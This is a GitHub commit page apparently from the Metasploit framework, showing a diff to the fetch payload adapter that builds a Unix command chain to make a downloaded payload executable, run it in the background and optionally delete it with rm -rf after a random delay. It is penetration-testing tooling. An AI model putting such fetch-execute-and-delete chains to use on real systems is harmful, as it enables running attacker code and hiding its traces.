Skip to content

Commit 0334109

Browse files
committed
Streamline command
1 parent 594946d commit 0334109

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -203,14 +203,8 @@ def _execute_win
203203

204204
def _execute_nix
205205
cmds = ";chmod +x #{_remote_destination_nix}"
206-
if datastore['FETCH_DELETE']
207-
# sometimes the delete can happen before the process is created
208-
sleep_delete = rand(2..7)
209-
cmds << ";(#{_remote_destination_nix} &)"
210-
cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
211-
else
212-
cmds << ";#{_remote_destination_nix} &"
213-
end
206+
cmds << ";#{_remote_destination_nix}&"
207+
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
214208
cmds
215209
end
216210

0 commit comments

Comments
 (0)